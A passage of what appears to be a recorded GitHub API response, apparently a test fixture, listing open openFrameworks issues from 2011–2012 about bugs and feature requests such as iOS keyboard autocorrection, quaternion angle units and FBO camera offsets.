//secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":685,"assignee":null,"closed_at":null,"title":"update shader example to work on ati.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-07-28T15:57:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1303812,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/685"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=9 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '42757'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"52cdeb246732dfe3d45282b30efc7163"'), ('date', 'Tue, 29 May 2012 06:43:41 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"milestone":null,"state":"open","user":{"gravatar_id":"e4d2b0151a843dde7b815b848170d6e9","avatar_url":"https://secure.gravatar.com/avatar/e4d2b0151a843dde7b815b848170d6e9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/mcanet","login":"mcanet","id":308759},"title":"ofxiPhoneKeyboard should have disable/enable methods for auto correction","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/julapy","login":"julapy","id":331382},"updated_at":"2012-03-10T04:40:42Z","body":"It is very annoying if you can not disable autocorrections in ofxiPhoneKeyboard. Specially for creative uses of this class. I add code how to add this feature.\r\n\r\n[CODE] Add to ofxiPhoneKeyboard class:\r\n\r\n- (void)disableAutoCorrection;\r\n- (void)enableAutoCorrection;\r\n\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::disableAutoCorrection()\r\n{\r\n [keyboard disableAutoCorrection];\r\n}\r\n//--------------------------------------------------------------\r\nvoid ofxiPhoneKeyboard::enableAutoCorrection()\r\n{\r\n [keyboard enableAutoCorrection];\r\n}\r\n\r\n- (void)disableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeNo;\r\n}\r\n\r\n- (void)enableAutoCorrection\r\n{\r\n _textField.autocorrectionType = UITextAutocorrectionTypeYes;\r\n}","number":684,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/684","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/684","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":1302375,"created_at":"2011-07-28T12:12:52Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"30a7e135fe77636519d74d129c60e156","avatar_url":"https://secure.gravatar.com/avatar/30a7e135fe77636519d74d129c60e156?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/companje","login":"companje","id":156066},"title":"possible bug in getEuler / getOrientation / getRoll","comments":0,"assignee":null,"updated_at":"2011-07-24T18:26:54Z","body":"I think there's a bug in ofQuaternion in of007. When i use ofNode's setOrientation() or ofNode setRoll I can rotate my ofNode object around the Z axis. However when I try to obtain the current rotation around the Z axis it will always give a value like -180, 0 or 180.\r\n\r\nRick","number":679,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/679","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/679","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1278252,"created_at":"2011-07-24T18:26:54Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"03848790c2ebb8e5edbe130e8ce76f1d","avatar_url":"https://secure.gravatar.com/avatar/03848790c2ebb8e5edbe130e8ce76f1d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/petersaints","login":"petersaints","id":157810},"title":"ofxDirList deprecated #warning directive preprocessor Visual Studio 2010","comments":2,"assignee":null,"updated_at":"2011-12-03T22:13:24Z","body":"I know that with the 007 release ofxDirList addon is deprecated and instead we are encouraged to use ofDirectory to achiece the same kind of functionality. In fact the are so similar that is possible to use them interchangeably. To do that transparently you changed the ofxDirList.h so that it made a typedef to point to ofDirectory (and will probably remove it completely someday).\r\n\r\nThe contents of ofxDirList.h are the following:\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\n#pragma once\r\n\r\n#include \"ofFileUtils.h\"\r\n\r\n#warning ofxDirList has been deprecated. \r\n#warning Remove all references to ofxDirList.h and use ofDirectory instead.\r\ntypedef ofDirectory ofxDirList;\r\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\nSo far so good. The problem is that you use the #warning preprocessing directive is non-standard and unsupported on Visual C++ compiler. In fact it gives me an error while building a project that I ported from 0062 version that used ofxDirList. To make it work I had to comment the two #warning lines. \r\n\r\nI suggest that you remove the #warning directives and replace it with something else that works across all compilers. I know that the #warning directive works on GCC and MinGW but not on VC++ so if you are going to support all those compilers (like you do) you better have all of your code working across all of them.","number":676,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/676","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/676","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1273716,"created_at":"2011-07-23T01:19:54Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"614a4e493d7c353296519bba720e77c5","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/benben","login":"benben","id":124513},"title":"isFile() segfaults on win7","comments":0,"assignee":null,"updated_at":"2011-07-21T11:29:24Z","body":"changed this in dirListExample\r\n\r\n ofFile testfile;\r\n\t// you can now iterate through the files and load them into the ofImage vector\r\n\tfor(int i = 0; i < (int)dir.size(); i++){\r\n\t\timages[i].loadImage(dir.getPath(i));\r\n\t\ttestfile.open(dir.getPath(i));\r\n\t\tcout << testfile.isFile() << endl; //THIS LINE SEGFAULTS ON WIN7\r\n testfile.close();\r\n\t}","number":671,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/671","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/671","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":1262459,"created_at":"2011-07-21T11:27:16Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"614a4e493d7c353296519bba720e77c5","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/benben","login":"benben","id":124513},"title":"mouseReleased fires mouseMoved too (win7)","comments":2,"assignee":null,"updated_at":"2011-07-21T10:39:29Z","body":"just added output to all events in an emptyExample on windows7 64bit.\r\n\r\nif im clicking, the following output occurs even if the mouse is not moved\r\n\r\n mousePressed\r\n mouseReleased\r\n mouseMoved","number":670,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/670","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/670","labels":[{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":1261982,"created_at":"2011-07-21T09:34:52Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442},"closed_issues":16,"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/ofTheo","login":"ofTheo","id":144000},"title":"iphone video player should use AVPlayer ","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/julapy","login":"julapy","id":331382},"updated_at":"2012-03-09T06:11:12Z","body":"I'm curious why the movieplayer uses AvAsset instead of AvPlayer which seems better suited for OF needs ( seeking / looping etc ) \r\n\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html\r\n\r\nhttp://stackoverflow.com/questions/5361145/looping-a-video-with-avfoundation-avplayer\r\n\r\n\r\nI think you can get init a player with an AVAsset:\r\nhttp://developer.apple.com/library/ios/#documentation/AVFoundation/Reference/AVPlayer_Class/Reference/Reference.html%23//apple_ref/occ/instm/AVPlayer/initWithPlayerItem:\r\nhttp://developer.apple.com/library/ios/documentation/AVFoundation/Reference/AVPlayerItem_Class/Reference/Reference.html#//apple_ref/occ/instm/AVPlayerItem/initWithAsset:\r\n","number":666,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/666","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/666","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"cb6efa","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks "},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":1258863,"created_at":"2011-07-20T20:01:04Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bakercp","login":"bakercp","id":300484},"title":"ofAppGlutWindow/ofEvents: pressedKeys accumulate in special cases","comments":5,"assignee":null,"updated_at":"2012-01-08T04:45:01Z","body":"In some cases, when modifier keys are used, the pressedKeys set will accumulate keys.\r\n\r\nThis happens because \"modifier-up\" messages are not sent in the same way as normal and special keys.\r\n\r\nTo test, watch the size of the pressedKeys:\r\n\r\n cout << pressedKeys.size() << \" num pressed keys \" << endl;\r\n\r\nPress a modifier key and a normal key -- say ctrl-a. If the 'a' is lifted first, then the modified-a key int is removed from the pressedKeys set. If CTRL is released before the 'a', then the non-modified-a key-up int is sent, and it is not erased from the pressedKeys set. If this is repeated with different modifier+key downs / ups the accumulation occurs.\r\n\r\nUltimately, there needs to be better handling of modifier keys. Perhaps there is a way to use the modifier masks keep track of modifier keys with a call to glutGetModifiers() in the keyboard_cb and keyboard_up_cb static methods?\r\n\r\nIt looks like progress has been made toward this in ofConstants.h\r\n\r\n\t#define OF_KEY_CTRL\t\t\t0x0200\r\n\t#define OF_KEY_ALT\t\t\t0x0300\r\n\t#define OF_KEY_SHIFT\t\t0x0400\r\n\r\nBut it seems to have stopped there.\r\n\r\nI'm happy to work on this -- any suggestions on a strategy? Perhaps this is already being addressed of 007?\r\n","number":652,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/652","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/652","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1231959,"created_at":"2011-07-15T18:49:46Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"29a3b85e704ec06a72df8897a726920e","avatar_url":"https://secure.gravatar.com/avatar/29a3b85e704ec06a72df8897a726920e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/toxin20","login":"toxin20","id":123776},"title":"ofFBO + ofCamera = unwanted offset","comments":4,"assignee":null,"updated_at":"2011-07-20T19:04:31Z","body":"If you use those these two together the 3d objects get an unwanted offset\r\n\r\ncode:\r\n\r\n```c++\r\nvoid testApp::draw()\r\n{\r\n \r\n cam.begin();\r\n ofPushMatrix();\r\n ofSetColor(255,255,255);\r\n ofBox(200);\r\n ofPopMatrix();\r\n cam.end();\r\n \r\n \r\n fbo.begin();\r\n cam.begin();\r\n \r\n ofClear(0);\r\n ofPushMatrix();\r\n ofSetColor(0,0,0);\r\n ofBox(200);\r\n ofPopMatrix();\r\n \r\n cam.end();\r\n fbo.end();\r\n \r\n \r\n glPushMatrix();\r\n //ofTranslate(0,6,0); <--- now i'm using something like this to \"repair\" it\r\n ofSetColor(255,255,255,255);\r\n glScalef(1,-1,1);\r\n fbo.draw(0,- ofGetHeight());\r\n glPopMatrix();\r\n \r\n \r\n \r\n}\r\n```\r\n\r\nNormally the two boxes should overlap completely, instead it looks like this:\r\n\r\n![screen1](http://i51.tinypic.com/11cfi1l.png)\r\n![screen2](http://i55.tinypic.com/2ewnv5i.png)\r\n\r\n\r\n","number":651,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/651","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/651","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"2a8296","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS"}],"id":1230184,"created_at":"2011-07-15T13:21:44Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/andreasmuller","login":"andreasmuller","id":791114},"title":"ofQuaternion::makeRotate takes degrees, used to take radians, documentation says radians","comments":1,"assignee":null,"updated_at":"2011-07-19T00:31:38Z","body":"\r\nA tiny issue I spotted:\r\n\r\nofQuaternion.cpp, line 14:\r\n\r\n```C++\r\n/// Set the elements of the Quat to represent a rotation of angle\r\n/// (radians) around the axis (x,y,z)\r\nvoid ofQuaternion::makeRotate( float angle, float x, float y, float z ) {\r\n\tangle = ofDegToRad(angle);\r\n```\r\n\r\nof**X**Quaternion::makeRotate used to take radians, only noticed as I was moving some old code over, otherwise I would have just looked at the code in ofQuaternion.cpp to see the angle type. ","number":646,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/646","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/646","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"cccc29","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation"}],"id":1216274,"created_at":"2011-07-13T15:18:04Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roxlu","login":"roxlu","id":358809},"title":"ofVideoGrabber::listDevices() does not list devices when initGrabber not called","comments":0,"assignee":null,"updated_at":"2011-07-12T16:05:23Z","body":"^^^^\r\nTried on Mac:\r\nhttps://gist.github.com/1078282","number":645,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/645","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/645","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1209436,"created_at":"2011-07-12T16:05:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/obviousjim","login":"obviousjim","id":321434},"title":"8 BPP (grayscale) ofImage saves blank on Windows, fine on os x","comments":1,"assignee":null,"updated_at":"2012-03-16T04:21:18Z","body":"https://gist.github.com/1077933\r\n\r\nsaving images converted to 8PP using ofImage::setImageType(OF_IMAGE_GRAYSCALE) and then calling saveImage() save blank on windows, but works on OS X\r\n\r\ntraced the issue down to the call to FreeImage_Save(), both seem to be the same. not sure what the problem is\r\n\r\n","number":643,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/643","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/643","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"},{"color":"244569","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows"}],"id":1208289,"created_at":"2011-07-12T13:05:25Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/cerupcat","login":"cerupcat","id":204151},"title":"ofxiPhone: Possible delayed input/touch event issue ","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/julapy","login":"julapy","id":331382},"updated_at":"2012-03-10T04:42:09Z","body":"Forum issue: http://forum.openframeworks.cc/index.php/topic,6316.new.html#new\r\n\r\nThis may be related to using CADisplayLink. When openGL seems to be pushed a bit, touch events seem to drop or are delayed. When using NSTimer in ofxiPhoneAppDelegate instead of CADisplayLink this does not occur.\r\n\r\nIt may be beneficial for developers to set whether they'd like to use CADisplayLink (if available) vs NSTimer for rendering or not.","number":642,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/642","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/642","labels":[{"color":"d68e22","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon"},{"color":"2babad","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1205789,"created_at":"2011-07-12T02:46:23Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roxlu","login":"roxlu","id":358809},"title":"ofImage::saveImage() - saving from png to gif creates grayscale image","comments":1,"assignee":null,"updated_at":"2011-07-12T13:03:00Z","body":"See title and test code:\r\nhttps://gist.github.com/952bd35591dc0cb23f61","number":631,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/631","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/631","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1185346,"created_at":"2011-07-07T21:37:47Z"},{"milestone":{"state":"open","description":"","title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"number":5,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","creator":{"gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/bilderbuchi","login":"bilderbuchi","id":327442},"closed_issues":16,"id":61810,"created_at":"2011-12-02T15:29:48Z"},"state":"open","user":{"gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roxlu","login":"roxlu","id":358809},"title":"ofLoadURL() does not work with httpS","comments":5,"assignee":null,"updated_at":"2012-02-27T03:48:47Z","body":"Tried to load a text file over https but I got this message:\r\n\r\n``400 The plain HTTP request was sent to HTTPS port\r\n

400 Bad Request

The plain HTTP request was sent to HTTPS port

nginx/1.0.4
``\r\n\r\n\r\n\r\nUsing this code\r\n``ofHttpResponse resp = ofLoadURL(\"https://raw.github.com/openframeworks/openFrameworks/6af1dc980f6d93d84b3bf8fdc1b6435697be9ed9/readme.txt\");``\r\n","number":623,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/623","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/623","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1175654,"created_at":"2011-07-06T18:12:06Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/roxlu","login":"roxlu","id":358809},"title":"call ofEasyCam::setPosition in testApp::setup() is forgotten","comments":0,"assignee":null,"updated_at":"2011-07-06T18:09:03Z","body":"Setting the position of an ofEasyCam instance in ofSetup() does not work. What does work in testApp::setup() is calling ofEasyCam::setDistance(). When calling ofEasyCam::setPosition() in for example testApp::draw() does work.\r\n","number":618,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/618","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/618","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"b31d1d","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug"}],"id":1169032,"created_at":"2011-07-05T18:23:34Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294},"title":"need conversion ofMatrix3x3<->ofMatrix4x4","comments":0,"assignee":null,"updated_at":"2011-06-27T18:30:26Z","body":"Currently there doesn't appear to be any way to do this other than by hand\r\nAlso it would be highly useful ofMatrix3x3 in general had equivalent accessors to ofMatrix4x4","number":612,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/612","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/612","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"}],"id":1124068,"created_at":"2011-06-27T18:30:26Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/elliotwoods","login":"elliotwoods","id":328294},"title":"function wrapping glMultMatrixf in ofMatrix4x4","comments":4,"assignee":null,"updated_at":"2011-10-04T10:10:06Z","body":"Need some way of applying current ofMatrix4x4 to the scene without going down to gl calls","number":605,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/605","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/605","labels":[{"color":"db6a1f","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core"},{"color":"622425","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature"},{"color":"31e03a","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed"}],"id":1067300,"created_at":"2011-06-16T13:13:35Z"},{"milestone":null,"state":"open","user":{"gravatar_id":"3cfb19dbce7926933555ac9755a86ca8","avatar_url":"https://secure.gravatar.com/avatar/3cfb19dbce7926933555ac9755a86ca8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/mazbox","login":"mazbox","id":194121},"title":"ofLaunchBrowser() for iPhone not implemented","comments":0,"assignee":{"gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/julapy","login":"julapy","id":331382},"updated_at":"2012-03-10T04:42:59Z","body":"Here's a function that will do it...\r\n\r\nvoid ofxiPhoneLaunchBrowser(string url) {\r\n\t[[UIApplication sharedApplication] openURL:[NSURL 